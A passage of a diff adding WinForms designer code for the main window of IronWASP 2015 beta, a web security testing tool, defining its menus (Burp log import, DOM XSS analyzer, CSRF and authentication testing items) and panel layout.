this.projectToolStripMenuItem, + this.generateReportToolStripMenuItem, + this.modulesToolStripMenuItem, + this.toolsToolStripMenuItem, + this.sequenceRecordingToolsToolStripMenuItem, + this.interactiveTestingToolsToolStripMenuItem, + this.devToolsToolStripMenuItem, + this.AboutToolStripMenuItem}); + this.TopMenu.Location = new System.Drawing.Point(0, 0); + this.TopMenu.Name = "TopMenu"; + this.TopMenu.Size = new System.Drawing.Size(884, 24); + this.TopMenu.TabIndex = 1; + this.TopMenu.Text = "TopMenu"; + // + // projectToolStripMenuItem + // + this.projectToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.OpenProjectToolStripMenuItem, + this.importToolStripMenuItem}); + this.projectToolStripMenuItem.Name = "projectToolStripMenuItem"; + this.projectToolStripMenuItem.Size = new System.Drawing.Size(56, 20); + this.projectToolStripMenuItem.Text = "Project"; + // + // OpenProjectToolStripMenuItem + // + this.OpenProjectToolStripMenuItem.Name = "OpenProjectToolStripMenuItem"; + this.OpenProjectToolStripMenuItem.Size = new System.Drawing.Size(143, 22); + this.OpenProjectToolStripMenuItem.Text = "Open Project"; + this.OpenProjectToolStripMenuItem.Click += new System.EventHandler(this.OpenProjectToolStripMenuItem_Click); + // + // importToolStripMenuItem + // + this.importToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ImportBurpLogToolStripMenuItem, + this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem}); + this.importToolStripMenuItem.Name = "importToolStripMenuItem"; + this.importToolStripMenuItem.Size = new System.Drawing.Size(143, 22); + this.importToolStripMenuItem.Text = "Import"; + // + // ImportBurpLogToolStripMenuItem + // + this.ImportBurpLogToolStripMenuItem.Name = "ImportBurpLogToolStripMenuItem"; + this.ImportBurpLogToolStripMenuItem.Size = new System.Drawing.Size(460, 22); + this.ImportBurpLogToolStripMenuItem.Text = "Burp Suite Log or Export files [Burp Suite Pro state files are not supported]"; + this.ImportBurpLogToolStripMenuItem.Click += new System.EventHandler(this.ImportBurpLogToolStripMenuItem_Click); + // + // LogsFromAnotherIronWASPProjectFileToolStripMenuItem + // + this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem.Name = "LogsFromAnotherIronWASPProjectFileToolStripMenuItem"; + this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem.Size = new System.Drawing.Size(460, 22); + this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem.Text = "Proxy and Probe Logs from another IronWASP Project file"; + this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem.Click += new System.EventHandler(this.LogsFromAnotherIronWASPProjectFileToolStripMenuItem_Click); + // + // generateReportToolStripMenuItem + // + this.generateReportToolStripMenuItem.Name = "generateReportToolStripMenuItem"; + this.generateReportToolStripMenuItem.Size = new System.Drawing.Size(104, 20); + this.generateReportToolStripMenuItem.Text = "Generate Report"; + this.generateReportToolStripMenuItem.Click += new System.EventHandler(this.generateReportToolStripMenuItem_Click); + // + // modulesToolStripMenuItem + // + this.modulesToolStripMenuItem.Name = "modulesToolStripMenuItem"; + this.modulesToolStripMenuItem.Size = new System.Drawing.Size(65, 20); + this.modulesToolStripMenuItem.Text = "Modules"; + // + // toolsToolStripMenuItem + // + this.toolsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.BrowserBasedCrawlerToolStripMenuItem, + this.DOMXSSAnalyzerToolStripMenuItem, + this.EncodeDecodeToolStripMenuItem, + this.DiffTextToolStripMenuItem, + this.RenderHTMLToolStripMenuItem, + this.WorkflowScannerToolStripMenuItem, + this.webSocketMessageFormaterToolStripMenuItem, + this.webSocketClientToolStripMenuItem}); + this.toolsToolStripMenuItem.Name = "toolsToolStripMenuItem"; + this.toolsToolStripMenuItem.Size = new System.Drawing.Size(48, 20); + this.toolsToolStripMenuItem.Text = "Tools"; + // + // BrowserBasedCrawlerToolStripMenuItem + // + this.BrowserBasedCrawlerToolStripMenuItem.Name = "BrowserBasedCrawlerToolStripMenuItem"; + this.BrowserBasedCrawlerToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.BrowserBasedCrawlerToolStripMenuItem.Text = "Browser based Crawler"; + this.BrowserBasedCrawlerToolStripMenuItem.Click += new System.EventHandler(this.BrowserBasedCrawlerToolStripMenuItem_Click); + // + // DOMXSSAnalyzerToolStripMenuItem + // + this.DOMXSSAnalyzerToolStripMenuItem.Name = "DOMXSSAnalyzerToolStripMenuItem"; + this.DOMXSSAnalyzerToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.DOMXSSAnalyzerToolStripMenuItem.Text = "DOM XSS Analyzer"; + this.DOMXSSAnalyzerToolStripMenuItem.Click += new System.EventHandler(this.DOMXSSAnalyzerToolStripMenuItem_Click); + // + // EncodeDecodeToolStripMenuItem + // + this.EncodeDecodeToolStripMenuItem.Name = "EncodeDecodeToolStripMenuItem"; + this.EncodeDecodeToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.EncodeDecodeToolStripMenuItem.Text = "Encode/Decode"; + this.EncodeDecodeToolStripMenuItem.Click += new System.EventHandler(this.EncodeDecodeToolStripMenuItem_Click); + // + // DiffTextToolStripMenuItem + // + this.DiffTextToolStripMenuItem.Name = "DiffTextToolStripMenuItem"; + this.DiffTextToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.DiffTextToolStripMenuItem.Text = "Diff Text"; + this.DiffTextToolStripMenuItem.Click += new System.EventHandler(this.DiffTextToolStripMenuItem_Click); + // + // RenderHTMLToolStripMenuItem + // + this.RenderHTMLToolStripMenuItem.Name = "RenderHTMLToolStripMenuItem"; + this.RenderHTMLToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.RenderHTMLToolStripMenuItem.Text = "Render HTML"; + this.RenderHTMLToolStripMenuItem.Click += new System.EventHandler(this.RenderHTMLToolStripMenuItem_Click); + // + // WorkflowScannerToolStripMenuItem + // + this.WorkflowScannerToolStripMenuItem.Name = "WorkflowScannerToolStripMenuItem"; + this.WorkflowScannerToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.WorkflowScannerToolStripMenuItem.Text = "Workflow Scanner"; + this.WorkflowScannerToolStripMenuItem.Click += new System.EventHandler(this.WorkflowScannerToolStripMenuItem_Click); + // + // webSocketMessageFormaterToolStripMenuItem + // + this.webSocketMessageFormaterToolStripMenuItem.Name = "webSocketMessageFormaterToolStripMenuItem"; + this.webSocketMessageFormaterToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.webSocketMessageFormaterToolStripMenuItem.Text = "WebSocket Message Extractor"; + this.webSocketMessageFormaterToolStripMenuItem.Click += new System.EventHandler(this.webSocketMessageFormaterToolStripMenuItem_Click); + // + // webSocketClientToolStripMenuItem + // + this.webSocketClientToolStripMenuItem.Name = "webSocketClientToolStripMenuItem"; + this.webSocketClientToolStripMenuItem.Size = new System.Drawing.Size(231, 22); + this.webSocketClientToolStripMenuItem.Text = "WebSocket Client"; + this.webSocketClientToolStripMenuItem.Click += new System.EventHandler(this.webSocketClientToolStripMenuItem_Click); + // + // sequenceRecordingToolsToolStripMenuItem + // + this.sequenceRecordingToolsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.LoginCSRFTokenSequenceRecorderToolStripMenuItem, + this.LoadRecodedSequenceToolStripMenuItem}); + this.sequenceRecordingToolsToolStripMenuItem.Name = "sequenceRecordingToolsToolStripMenuItem"; + this.sequenceRecordingToolsToolStripMenuItem.Size = new System.Drawing.Size(159, 20); + this.sequenceRecordingToolsToolStripMenuItem.Text = "Sequence Recording Tools"; + // + // LoginCSRFTokenSequenceRecorderToolStripMenuItem + // + this.LoginCSRFTokenSequenceRecorderToolStripMenuItem.Name = "LoginCSRFTokenSequenceRecorderToolStripMenuItem"; + this.LoginCSRFTokenSequenceRecorderToolStripMenuItem.Size = new System.Drawing.Size(267, 22); + this.LoginCSRFTokenSequenceRecorderToolStripMenuItem.Text = "Record Login, CSRF Token Sequence"; + this.LoginCSRFTokenSequenceRecorderToolStripMenuItem.Click += new System.EventHandler(this.LoginCSRFTokenSequenceRecorderToolStripMenuItem_Click_1); + // + // LoadRecodedSequenceToolStripMenuItem + // + this.LoadRecodedSequenceToolStripMenuItem.Name = "LoadRecodedSequenceToolStripMenuItem"; + this.LoadRecodedSequenceToolStripMenuItem.Size = new System.Drawing.Size(267, 22); + this.LoadRecodedSequenceToolStripMenuItem.Text = "Load Recorded Sequence"; + this.LoadRecodedSequenceToolStripMenuItem.Visible = false; + this.LoadRecodedSequenceToolStripMenuItem.Click += new System.EventHandler(this.LoadRecodedSequenceToolStripMenuItem_Click); + // + // interactiveTestingToolsToolStripMenuItem + // + this.interactiveTestingToolsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.TestForCSRFProtectionToolStripMenuItem, + this.TestForBrokenAuthenticationToolStripMenuItem, + this.TestForHiddenParameterToolStripMenuItem, + this.TestForPrvilegeEscalationToolStripMenuItem}); + this.interactiveTestingToolsToolStripMenuItem.Name = "interactiveTestingToolsToolStripMenuItem"; + this.interactiveTestingToolsToolStripMenuItem.Size = new System.Drawing.Size(148, 20); + this.interactiveTestingToolsToolStripMenuItem.Text = "Interactive Testing Tools"; + // + // TestForCSRFProtectionToolStripMenuItem + // + this.TestForCSRFProtectionToolStripMenuItem.Name = "TestForCSRFProtectionToolStripMenuItem"; + this.TestForCSRFProtectionToolStripMenuItem.Size = new System.Drawing.Size(236, 22); + this.TestForCSRFProtectionToolStripMenuItem.Text = "Test for CSRF Protection"; + this.TestForCSRFProtectionToolStripMenuItem.Click += new System.EventHandler(this.TestForCSRFProtectionToolStripMenuItem_Click); + // + // TestForBrokenAuthenticationToolStripMenuItem + // + this.TestForBrokenAuthenticationToolStripMenuItem.Name = "TestForBrokenAuthenticationToolStripMenuItem"; + this.TestForBrokenAuthenticationToolStripMenuItem.Size = new System.Drawing.Size(236, 22); + this.TestForBrokenAuthenticationToolStripMenuItem.Text = "Test for Broken Authentication"; + this.TestForBrokenAuthenticationToolStripMenuItem.Click += new System.EventHandler(this.TestForBrokenAuthenticationToolStripMenuItem_Click); + // + // TestForHiddenParameterToolStripMenuItem + // + this.TestForHiddenParameterToolStripMenuItem.Name = "TestForHiddenParameterToolStripMenuItem"; + this.TestForHiddenParameterToolStripMenuItem.Size = new System.Drawing.Size(236, 22); + this.TestForHiddenParameterToolStripMenuItem.Text = "Test for Hidden Parameters"; + this.TestForHiddenParameterToolStripMenuItem.Click += new System.EventHandler(this.TestForHiddenParameterToolStripMenuItem_Click); + // + // TestForPrvilegeEscalationToolStripMenuItem + // + this.TestForPrvilegeEscalationToolStripMenuItem.Name = "TestForPrvilegeEscalationToolStripMenuItem"; + this.TestForPrvilegeEscalationToolStripMenuItem.Size = new System.Drawing.Size(236, 22); + this.TestForPrvilegeEscalationToolStripMenuItem.Text = "Test for Prvilege Escalation"; + this.TestForPrvilegeEscalationToolStripMenuItem.Click += new System.EventHandler(this.TestForPrvilegeEscalationToolStripMenuItem_Click); + // + // devToolsToolStripMenuItem + // + this.devToolsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.codingAssistantsToolStripMenuItem, + this.scriptPluginEditorToolStripMenuItem, + this.uIDesignerToolStripMenuItem1}); + this.devToolsToolStripMenuItem.Name = "devToolsToolStripMenuItem"; + this.devToolsToolStripMenuItem.Size = new System.Drawing.Size(71, 20); + this.devToolsToolStripMenuItem.Text = "Dev Tools"; + // + // codingAssistantsToolStripMenuItem + // + this.codingAssistantsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.scriptCreationAssistantToolStripMenuItem, + this.sessionPluginCreationAssistantToolStripMenuItem, + this.activePluginCreationAssistantToolStripMenuItem, + this.passivePluginCreationAssistantToolStripMenuItem, + this.moduleCreationAssistantToolStripMenuItem}); + this.codingAssistantsToolStripMenuItem.Name = "codingAssistantsToolStripMenuItem"; + this.codingAssistantsToolStripMenuItem.Size = new System.Drawing.Size(177, 22); + this.codingAssistantsToolStripMenuItem.Text = "Coding Assistants"; + // + // scriptCreationAssistantToolStripMenuItem + // + this.scriptCreationAssistantToolStripMenuItem.Name = "scriptCreationAssistantToolStripMenuItem"; + this.scriptCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); + this.scriptCreationAssistantToolStripMenuItem.Text = "Script Creation Assistant"; + this.scriptCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.scriptCreationAssistantToolStripMenuItem_Click); + // + // sessionPluginCreationAssistantToolStripMenuItem + // + this.sessionPluginCreationAssistantToolStripMenuItem.Name = "sessionPluginCreationAssistantToolStripMenuItem"; + this.sessionPluginCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); + this.sessionPluginCreationAssistantToolStripMenuItem.Text = "Session Plugin Creation Assistant"; + this.sessionPluginCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.sessionPluginCreationAssistantToolStripMenuItem_Click); + // + // activePluginCreationAssistantToolStripMenuItem + // + this.activePluginCreationAssistantToolStripMenuItem.Name = "activePluginCreationAssistantToolStripMenuItem"; + this.activePluginCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); + this.activePluginCreationAssistantToolStripMenuItem.Text = "Active Plugin Creation Assistant"; + this.activePluginCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.activePluginCreationAssistantToolStripMenuItem_Click); + // + // passivePluginCreationAssistantToolStripMenuItem + // + this.passivePluginCreationAssistantToolStripMenuItem.Name = "passivePluginCreationAssistantToolStripMenuItem"; + this.passivePluginCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); + this.passivePluginCreationAssistantToolStripMenuItem.Text = "Passive Plugin Creation Assistant"; + this.passivePluginCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.passivePluginCreationAssistantToolStripMenuItem_Click); + // + // moduleCreationAssistantToolStripMenuItem + // + this.moduleCreationAssistantToolStripMenuItem.Name = "moduleCreationAssistantToolStripMenuItem"; + this.moduleCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); + this.moduleCreationAssistantToolStripMenuItem.Text = "Module Creation Assistant"; + this.moduleCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.moduleCreationAssistantToolStripMenuItem_Click); + // + // scriptPluginEditorToolStripMenuItem + // + this.scriptPluginEditorToolStripMenuItem.Name = "scriptPluginEditorToolStripMenuItem"; + this.scriptPluginEditorToolStripMenuItem.Size = new System.Drawing.Size(177, 22); + this.scriptPluginEditorToolStripMenuItem.Text = "Script/Plugin Editor"; + this.scriptPluginEditorToolStripMenuItem.Click += new System.EventHandler(this.PluginEditorToolStripMenuItem_Click); + // + // uIDesignerToolStripMenuItem1 + // + this.uIDesignerToolStripMenuItem1.Name = "uIDesignerToolStripMenuItem1"; + this.uIDesignerToolStripMenuItem1.Size = new System.Drawing.Size(177, 22); + this.uIDesignerToolStripMenuItem1.Text = "UI Designer"; + this.uIDesignerToolStripMenuItem1.Click += new System.EventHandler(this.UIDesignerToolStripMenuItem_Click); + // + // AboutToolStripMenuItem + // + this.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem"; + this.AboutToolStripMenuItem.Size = new System.Drawing.Size(52, 20); + this.AboutToolStripMenuItem.Text = "About"; + this.AboutToolStripMenuItem.Click += new System.EventHandler(this.AboutToolStripMenuItem_Click); + // + // ProjectFileOpenDialog + // + this.ProjectFileOpenDialog.Filter = "Iron Project Files|*.iron"; + this.ProjectFileOpenDialog.Title = "Open Iron Project File"; + // + // BurpLogOpenDialog + // + this.BurpLogOpenDialog.Title = "Select the Burp Log file to Import"; + // + // ConfigViewHideLL + // + this.ConfigViewHideLL.AutoSize = true; + this.ConfigViewHideLL.Location = new System.Drawing.Point(3, 5); + this.ConfigViewHideLL.Name = "ConfigViewHideLL"; + this.ConfigViewHideLL.Size = new System.Drawing.Size(67, 13); + this.ConfigViewHideLL.TabIndex = 13; + this.ConfigViewHideLL.TabStop = true; + this.ConfigViewHideLL.Text = "Show Config"; + this.ConfigViewHideLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigViewHideLL_LinkClicked); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.Controls.Add(this.ConfigViewHideLL); + this.panel1.Location = new System.Drawing.Point(812, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(72, 23); + this.panel1.TabIndex = 14; + // + // PromptBlinkTimer + // + this.PromptBlinkTimer.Interval = 400; + this.PromptBlinkTimer.Tick += new System.EventHandler(this.PromptBlinkTimer_Tick); + // + // label43 + // + this.label43.Location = new System.Drawing.Point(167, 0); + this.label43.Name = "label43"; + this.label43.Size = new System.Drawing.Size(531, 40); + this.label43.TabIndex = 24; + this.label43.Text = resources.GetString("label43.Text"); + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.panel1); + this.Controls.Add(this.ConfigPanel); + this.Controls.Add(this.split_main); + this.Controls.Add(this.TopMenu); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MainMenuStrip = this.TopMenu; + this.Name = "Main"; + this.Text = "IronWASP 2015 beta"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Main_FormClosing); + this.Load += new System.EventHandler(this.Main_Load); + this.split_main.Panel1.ResumeLayout(false); + this.split_main.Panel2.ResumeLayout(false); + this.split_main.ResumeLayout(false); + this.IronTreeMenuStrip.ResumeLayout(false); + this.main_tab.ResumeLayout(false); + this.mt_console.ResumeLayout(false); + this.mt_console.PerformLayout(); + this.mt_auto.ResumeLayout(false); + this.ASMainTabs.ResumeLayout(false); + this.ASConfigureTab.ResumeLayout(false); + this.ScanJobsBaseSplit.Panel1.ResumeLayout(false); + this.ScanJobsBaseSplit.Panel2.ResumeLayout(false); + this.ScanJobsBaseSplit.ResumeLayout(false); + this.ScanDisplayPanel.ResumeLayout(false); + this.ScanDisplayPanel.PerformLayout(); + this.ASBaseTabs.ResumeLayout(false); + this.ASRequestTab.ResumeLayout(false); + this.ScanJobsTopSplit.Panel1.ResumeLayout(false); + this.ScanJobsTopSplit.Panel2.ResumeLayout(false); + this.ScanJobsTopSplit.Panel2.PerformLayout(); + this.ScanJobsTopSplit.ResumeLayout(false); + this.ASRequestScanFullTabs.ResumeLayout(false); + this.tabPage20.ResumeLayout(false); + this.tabPage20.PerformLayout(); + this.tabPage21.ResumeLayout(false); + this.tabPage21.PerformLayout(); + this.ASInjectionPointTab.ResumeLayout(false); + this.ASRequestTabs.ResumeLayout(false); + this.ASRequestURLTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanURLGrid)).EndInit(); + this.ASRequestQueryTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanQueryGrid)).EndInit(); + this.ASRequestBodyTab.ResumeLayout(false); + this.ASBodyInjectTypeTabs.ResumeLayout(false); + this.ASBodyTypeNormalTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanBodyTypeNormalGrid)).EndInit(); + this.ASBodyTypeFormatPluginTab.ResumeLayout(false); + this.ASRequestBodyTabSplit.Panel1.ResumeLayout(false); + this.ASRequestBodyTabSplit.Panel2.ResumeLayout(false); + this.ASRequestBodyTabSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestFormatPluginsGrid)).EndInit(); + this.ASRequestScanBodyTabs.ResumeLayout(false); + this.ASRequestScanBodyGridTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestBodyTypeFormatPluginGrid)).EndInit(); + this.ASRequestScanBodyXMLTab.ResumeLayout(false); + this.ASRequestScanBodyXMLTab.PerformLayout(); + this.ASBodyTypeCustomTab.ResumeLayout(false); + this.ASBodyTypeCustomTab.PerformLayout(); + this.ASRequestCookieTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanCookieGrid)).EndInit(); + this.ASRequestHeadersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanHeadersGrid)).EndInit(); + this.ASRequestParameterNamesTab.ResumeLayout(false); + this.ASRequestParameterNamesTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ASScanPluginsGrid)).EndInit(); + this.ScanTopPanel.ResumeLayout(false); + this.ScanTopPanel.PerformLayout(); + this.ScanJobsBottomSplit.Panel1.ResumeLayout(false); + this.ScanJobsBottomSplit.Panel2.ResumeLayout(false); + this.ScanJobsBottomSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ASQueueGrid)).EndInit(); + this.ScanQueueMenu.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigScannerThreadMaxCountTB)).EndInit(); + this.ASTraceTab.ResumeLayout(false); + this.ScanTraceBaseSplit.Panel1.ResumeLayout(false); + this.ScanTraceBaseSplit.Panel2.ResumeLayout(false); + this.ScanTraceBaseSplit.ResumeLayout(false); + this.ScanTraceTopSplit.Panel1.ResumeLayout(false); + this.ScanTraceTopSplit.Panel1.PerformLayout(); + this.ScanTraceTopSplit.Panel2.ResumeLayout(false); + this.ScanTraceTopSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanTraceGrid)).EndInit(); + this.ScanTraceBottomSplit.Panel1.ResumeLayout(false); + this.ScanTraceBottomSplit.Panel1.PerformLayout(); + this.ScanTraceBottomSplit.Panel2.ResumeLayout(false); + this.ScanTraceBottomSplit.ResumeLayout(false); + this.ScanTraceTabs.ResumeLayout(false); + this.ScanTraceOverviewTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).EndInit(); + this.ScanTraceDetailedInfoTab.ResumeLayout(false); + this.mt_manual.ResumeLayout(false); + this.MTFirstBaseSplit.Panel1.ResumeLayout(false); + this.MTFirstBaseSplit.Panel2.ResumeLayout(false); + this.MTFirstBaseSplit.ResumeLayout(false); + this.MTBaseTopSplit.Panel1.ResumeLayout(false); + this.MTBaseTopSplit.Panel1.PerformLayout(); + this.MTBaseTopSplit.Panel2.ResumeLayout(false); + this.MTBaseTopSplit.Panel2.PerformLayout(); + this.MTBaseTopSplit.ResumeLayout(false); + this.MTBaseSplit.Panel1.ResumeLayout(false); + this.MTBaseSplit.Panel2.ResumeLayout(false); + this.MTBaseSplit.ResumeLayout(false); + this.TestBaseRequestSplit.Panel1.ResumeLayout(false); + this.TestBaseRequestSplit.Panel1.PerformLayout(); + this.TestBaseRequestSplit.Panel2.ResumeLayout(false); + this.TestBaseRequestSplit.ResumeLayout(false); + this.LogMenu.ResumeLayout(false); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.MTResponseSideTabs.ResumeLayout(false); + this.MTResponseTab.ResumeLayout(false); + this.MTResponseTab.PerformLayout(); + this.MTGroupHistoryTab.ResumeLayout(false); + this.TestGroupHistoryBaseSplit.Panel1.ResumeLayout(false); + this.TestGroupHistoryBaseSplit.Panel1.PerformLayout(); + this.TestGroupHistoryBaseSplit.Panel2.ResumeLayout(false); + this.TestGroupHistoryBaseSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.TestGroupLogGrid)).EndInit(); + this.MTHelp.ResumeLayout(false); + this.MTHelp.PerformLayout(); + this.mt_scripting.ResumeLayout(false); + this.ScriptingShellSplit.Panel1.ResumeLayout(false); + this.ScriptingShellSplit.Panel1.PerformLayout(); + this.ScriptingShellSplit.Panel2.ResumeLayout(false); + this.ScriptingShellSplit.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.ScriptingShellTabs.ResumeLayout(false); + this.InteractiveShellTP.ResumeLayout(false); + this.InteractiveShellTP.PerformLayout(); + this.ShellInPanel.ResumeLayout(false); + this.ShellInPanel.PerformLayout(); + this.MultiLineShellTP.ResumeLayout(false); + this.ScriptedSendTP.ResumeLayout(false); + this.ScriptedSendTP.PerformLayout(); + this.ScriptingHelpTP.ResumeLayout(false); + this.ScriptingHelpTP.PerformLayout(); + this.ScriptingShellAPISplit.Panel1.ResumeLayout(false); + this.ScriptingShellAPISplit.Panel2.ResumeLayout(false); + this.ScriptingShellAPISplit.ResumeLayout(false); + this.ScriptingShellAPITreeTabs.ResumeLayout(false); + this.ScriptingShellAPITreePythonTab.ResumeLayout(false); + this.ScriptingShellAPITreeRubyTab.ResumeLayout(false); + this.mt_proxy.ResumeLayout(false); + this.ProxyBaseSplit.Panel1.ResumeLayout(false); + this.ProxyBaseSplit.Panel1.PerformLayout(); + this.ProxyBaseSplit.Panel2.ResumeLayout(false); + this.ProxyBaseSplit.ResumeLayout(false); + this.ProxyBottomPanel.ResumeLayout(false); + this.ProxyInterceptTabs.ResumeLayout(false); + this.ProxyInterceptRequestTab.ResumeLayout(false); + this.ProxyInterceptResponseTab.ResumeLayout(false); + this.ProxyScriptedInterceptTab.ResumeLayout(false); + this.ScriptedInterceptionBaseSplit.Panel1.ResumeLayout(false); + this.ScriptedInterceptionBaseSplit.Panel1.PerformLayout(); + this.ScriptedInterceptionBaseSplit.Panel2.ResumeLayout(false); + this.ScriptedInterceptionBaseSplit.ResumeLayout(false); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + this.ScriptedInterceptionBottomSplit.Panel1.ResumeLayout(false); + this.ScriptedInterceptionBottomSplit.Panel2.ResumeLayout(false); + this.ScriptedInterceptionBottomSplit.Panel2.PerformLayout(); + this.ScriptedInterceptionBottomSplit.ResumeLayout(false); + this.ProxyHelpTab.ResumeLayout(false); + this.ProxyHelpTab.PerformLayout(); + this.mt_logs.ResumeLayout(false); + this.LogBaseSplit.Panel1.ResumeLayout(false); + this.LogBaseSplit.Panel2.ResumeLayout(false); + this.LogBaseSplit.ResumeLayout(false); + this.LogsTopSplit.Panel1.ResumeLayout(false); + this.LogsTopSplit.Panel1.PerformLayout(); + this.LogsTopSplit.Panel2.ResumeLayout(false); + this.LogsTopSplit.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage1.PerformLayout(); + this.LogsBottomSplit.Panel1.ResumeLayout(false); + this.LogsBottomSplit.Panel1.PerformLayout(); + this.LogsBottomSplit.Panel2.ResumeLayout(false); + this.LogsBottomSplit.ResumeLayout(false); + this.LogTabs.ResumeLayout(false); + this.ProxyLogTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ProxyLogGrid)).EndInit(); + this.ScanLogTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ScanLogGrid)).EndInit(); + this.TestLogTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.TestLogGrid)).EndInit(); + this.ShellLogTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ShellLogGrid)).EndInit(); + this.ProbeLogTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ProbeLogGrid)).EndInit(); + this.OtherLogTab.ResumeLayout(false); + this.OtherLogsTabBaseSplit.Panel1.ResumeLayout(false); + this.OtherLogsTabBaseSplit.Panel2.ResumeLayout(false); + this.OtherLogsTabBaseSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.OtherLogSourceGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.OtherLogGrid)).EndInit(); + this.SiteMapLogTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.SiteMapLogGrid)).EndInit(); + this.mt_results.ResumeLayout(false); + this.ResultsTabMainSplit.Panel1.ResumeLayout(false); + this.ResultsTabMainSplit.Panel2.ResumeLayout(false); + this.ResultsTabMainSplit.ResumeLayout(false); + this.ResultsTriggersMainSplit.Panel1.ResumeLayout(false); + this.ResultsTriggersMainSplit.Panel2.ResumeLayout(false); + this.ResultsTriggersMainSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ResultsTriggersGrid)).EndInit(); + this.ResultsDisplayTabs.ResumeLayout(false); + this.ResultsTriggerHighlightTab.ResumeLayout(false); + this.ResultsRequestTab.ResumeLayout(false); + this.ResultsResponseTab.ResumeLayout(false); + this.ResultsTriggerToolsTab.ResumeLayout(false); + this.TrigggerAnalysisToolsSplit.Panel1.ResumeLayout(false); + this.TrigggerAnalysisToolsSplit.Panel2.ResumeLayout(false); + this.TrigggerAnalysisToolsSplit.ResumeLayout(false); + this.ResultsScanTracePanel.ResumeLayout(false); + this.ResultsTriggerOptionsPanel.ResumeLayout(false); + this.ResultsTriggerOptionsPanel.PerformLayout(); + this.ResultsTriggersComparePanel.ResumeLayout(false); + this.ResultsTriggersComparePanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.SelectForDiffTriggersGrid)).EndInit(); + this.ResultsHelpTab.ResumeLayout(false); + this.ResultsHelpTab.PerformLayout(); + this.mt_js.ResumeLayout(false); + this.JsTraceBaseSplit.Panel1.ResumeLayout(false); + this.JsTraceBaseSplit.Panel1.PerformLayout(); + this.JsTraceBaseSplit.Panel2.ResumeLayout(false); + this.JsTraceBaseSplit.ResumeLayout(false); + this.JsTraceTabs.ResumeLayout(false); + 